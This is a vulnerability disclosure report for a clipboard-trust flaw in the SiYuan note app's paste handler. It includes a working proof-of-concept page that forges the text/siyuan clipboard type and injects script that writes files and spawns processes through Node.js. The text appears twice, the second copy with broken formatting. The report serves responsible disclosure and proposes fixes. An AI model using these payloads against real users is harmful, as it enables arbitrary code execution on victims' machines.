CVSS 3.1: 8.9 High — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Summary
In SiYuan v3.8.1 (latest release, Windows official installer, default settings), the
protyle paste handler trusts a custom clipboard MIME type (text/siyuan) as if only
SiYuan itself could have written it. Any web page can forge this type via a standard
copy event (event.clipboardData.setData('text/siyuan', ...)), so a victim who copies
text from an attacker-controlled page and pastes it into a SiYuan note gets attacker
HTML inserted without sanitization into the editor's main window — a renderer with
nodeIntegration: true, contextIsolation: false, webSecurity: false and @electron/remote
enabled. This yields arbitrary command execution from a plain copy-paste.
Attack scenario (user journey)
- Victim visits an attacker page (e.g. a "deployment commands cheat sheet") and copies
selected text with Ctrl+C, as they normally would when collecting material into notes.
- The page's
copy listener overwrites the clipboard:
e.clipboardData.setData('text/siyuan', payload) (custom MIME types are allowed in
copy events and survive cross-application paste into Chromium-based apps).
A second, equivalent injection edge exists: setting text/plain to
payload + "\u200b" (trailing zero-width space) with no text/html, which
paste.ts also treats as trusted internal SiYuan clipboard data.
- Victim switches to SiYuan and presses Ctrl+V in a document.
- The paste handler inserts the payload without sanitization and attacker JavaScript
executes with full Node.js access (marker file write / calc spawn verified).
No warning, no confirmation — a routine copy-paste.
Root cause (v3.8.1, app/src/protyle/util/paste.ts)
paste.ts:537 / :545 — siyuanHTML = event.clipboardData.getData("text/siyuan")
is taken verbatim from an externally controlled clipboard.
paste.ts:615-616 — text/plain ending with the zero-width space is likewise
promoted to siyuanHTML.
paste.ts:625-635 — sanitization only runs in the if (!siyuanHTML) branch:
textHTML = Lute.Sanitize(textHTML). The siyuanHTML path skips it entirely.
paste.ts:711-746 — sinks:
- ≤ 512 KiB:
tempElement.innerHTML = siyuanHTML (event-handler attributes execute
in the main frame);
-
512 KiB: streamInsert() — document.write() into a same-origin hidden
iframe, so <script> executes synchronously and reaches parent.require.
The Electron main window (electron/main.js:1051-1062) runs with
nodeIntegration: true, contextIsolation: false, webSecurity: false plus
remote.enable(), so the injected script has full Node.js / main-process access.
Proof of concept
Attacker page (served from any origin):
<script>
document.addEventListener('copy', (e) => {
e.clipboardData.setData('text/siyuan',
'<img src=x onerror="require(\'fs\').writeFileSync(\'siyuan_poc_marker.txt\',\'RCE host=\'+require(\'os\').hostname())">');
e.clipboardData.setData('text/plain', 'deployment snippet');
e.clipboardData.setData('text/html', '<pre>docker run ...</pre>');
e.preventDefault();
});
</script>
Select text on the page → Ctrl+C → focus a SiYuan document → Ctrl+V.
For the document.write sink, use a text/siyuan payload larger than 512 KiB
(e.g. an HTML comment padded to ~600 KB followed by
<script>parent.require('child_process').exec('calc')</script>).
Verified impact (Windows 11, v3.8.1 official installer, default settings)
- Sink A (innerHTML):
siyuan_poc_marker_A.txt written by the SiYuan renderer —
F01-SIYUAN-PASTE-RCE-A sink=innerHTML host=LAPTOP-*** t=2026-08-28T06:53:48Z
- Sink B (document.write iframe):
siyuan_poc_marker_B.txt written and
CalculatorApp.exe spawned via parent.require('child_process').exec('calc')
(F01-SIYUAN-PASTE-RCE-B sink=document.write-iframe ... t=2026-08-28T06:56:22Z)
Full desktop recordings of both runs (copy on the attacker page → paste in SiYuan →
marker / calc) are available; happy to attach or link on request.
Affected versions
v3.8.1 (latest) and presumably earlier versions carrying the same clipboard-trust logic
in the paste handler. Default configuration; the allowHTMLBLockScript setting is NOT
required to be enabled for this chain.
Note on intent: this is distinct from the documented HTML-block script feature —
that feature is opt-in via allowHTMLBLockScript (default off, "allow scripts in
HTML blocks"). Both PoC runs below were executed with that setting off, i.e. the
chain bypasses the product's own expressed boundary for script execution. The paste
handler also already sanitizes its other path (Lute.Sanitize(textHTML)), which
suggests untrusted-content sanitization on paste is the intended behavior and the
siyuanHTML branch was missed.
Suggested fix
- Sanitize the trusted-format paths the same way as
textHTML:
siyuanHTML = Lute.Sanitize(siyuanHTML) (or DOMPurify) before it reaches either sink
— one line closes both injection edges (text/siyuan and the ZWSP text/plain route).
- Replace the same-origin hidden-iframe
document.write in streamInsert() with
DOMParser + sanitization; a same-origin iframe is itself an unsandboxed sink.
- Hardening (optional, larger): the main editor window does not need
nodeIntegration/@electron/remote; isolating it would break this entire class of
paste-XSS-to-RCE chains (as already done for iframe URL blocks, which correctly use
sandbox="allow-scripts").
Happy to provide the full PoC page, the CDP-assisted reproduction script, and the
recordings. Thanks for the great product and the fast security response track record!
CVSS 3.1: 8.9 High — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Summary
In SiYuan v3.8.1 (latest release, Windows official installer, default settings), the
protyle paste handler trusts a custom clipboard MIME type (
text/siyuan) as if onlySiYuan itself could have written it. Any web page can forge this type via a standard
copyevent (event.clipboardData.setData('text/siyuan', ...)), so a victim who copiestext from an attacker-controlled page and pastes it into a SiYuan note gets attacker
HTML inserted without sanitization into the editor's main window — a renderer with
nodeIntegration: true, contextIsolation: false, webSecurity: falseand@electron/remoteenabled. This yields arbitrary command execution from a plain copy-paste.
Attack scenario (user journey)
selected text with Ctrl+C, as they normally would when collecting material into notes.
copylistener overwrites the clipboard:e.clipboardData.setData('text/siyuan', payload)(custom MIME types are allowed incopy events and survive cross-application paste into Chromium-based apps).
A second, equivalent injection edge exists: setting
text/plaintopayload + "\u200b"(trailing zero-width space) with notext/html, whichpaste.tsalso treats as trusted internal SiYuan clipboard data.executes with full Node.js access (marker file write /
calcspawn verified).No warning, no confirmation — a routine copy-paste.
Root cause (v3.8.1,
app/src/protyle/util/paste.ts)paste.ts:537/:545—siyuanHTML = event.clipboardData.getData("text/siyuan")is taken verbatim from an externally controlled clipboard.
paste.ts:615-616—text/plainending with the zero-width space is likewisepromoted to
siyuanHTML.paste.ts:625-635— sanitization only runs in theif (!siyuanHTML)branch:textHTML = Lute.Sanitize(textHTML). ThesiyuanHTMLpath skips it entirely.paste.ts:711-746— sinks:tempElement.innerHTML = siyuanHTML(event-handler attributes executein the main frame);
The Electron main window (
electron/main.js:1051-1062) runs withnodeIntegration: true, contextIsolation: false, webSecurity: falseplusremote.enable(), so the injected script has full Node.js / main-process access.Proof of concept
Attacker page (served from any origin):
Select text on the page → Ctrl+C → focus a SiYuan document → Ctrl+V.
For the
document.writesink, use atext/siyuanpayload larger than 512 KiB(e.g. an HTML comment padded to ~600 KB followed by
<script>parent.require('child_process').exec('calc')</script>).Verified impact (Windows 11, v3.8.1 official installer, default settings)
siyuan_poc_marker_A.txtwritten by the SiYuan renderer —F01-SIYUAN-PASTE-RCE-A sink=innerHTML host=LAPTOP-*** t=2026-08-28T06:53:48Zsiyuan_poc_marker_B.txtwritten andCalculatorApp.exespawned viaparent.require('child_process').exec('calc')(
F01-SIYUAN-PASTE-RCE-B sink=document.write-iframe ... t=2026-08-28T06:56:22Z)Full desktop recordings of both runs (copy on the attacker page → paste in SiYuan →
marker / calc) are available; happy to attach or link on request.
Affected versions
v3.8.1 (latest) and presumably earlier versions carrying the same clipboard-trust logic
in the paste handler. Default configuration; the
allowHTMLBLockScriptsetting is NOTrequired to be enabled for this chain.
Note on intent: this is distinct from the documented HTML-block script feature —
that feature is opt-in via
allowHTMLBLockScript(default off, "allow scripts inHTML blocks"). Both PoC runs below were executed with that setting off, i.e. the
chain bypasses the product's own expressed boundary for script execution. The paste
handler also already sanitizes its other path (
Lute.Sanitize(textHTML)), whichsuggests untrusted-content sanitization on paste is the intended behavior and the
siyuanHTMLbranch was missed.Suggested fix
textHTML:siyuanHTML = Lute.Sanitize(siyuanHTML)(or DOMPurify) before it reaches either sink— one line closes both injection edges (
text/siyuanand the ZWSPtext/plainroute).document.writeinstreamInsert()withDOMParser+ sanitization; a same-origin iframe is itself an unsandboxed sink.nodeIntegration/@electron/remote; isolating it would break this entire class ofpaste-XSS-to-RCE chains (as already done for iframe URL blocks, which correctly use
sandbox="allow-scripts").Happy to provide the full PoC page, the CDP-assisted reproduction script, and the
recordings. Thanks for the great product and the fast security response track record!